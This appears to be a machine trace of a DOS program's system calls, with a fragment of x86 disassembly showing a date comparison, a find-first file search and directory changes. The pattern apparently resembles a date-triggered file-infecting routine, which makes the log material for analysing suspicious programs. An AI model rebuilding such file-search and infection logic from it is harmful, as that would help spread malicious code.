2018-12-25T12:39:39.307776605Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:39.309330252Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:39.315190968Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:39.316871477Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:39.31804196Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:39.323978359Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:39.330183324Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:39.331716772Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:39.337938767Z 59 PC: 12d9e | Change current directory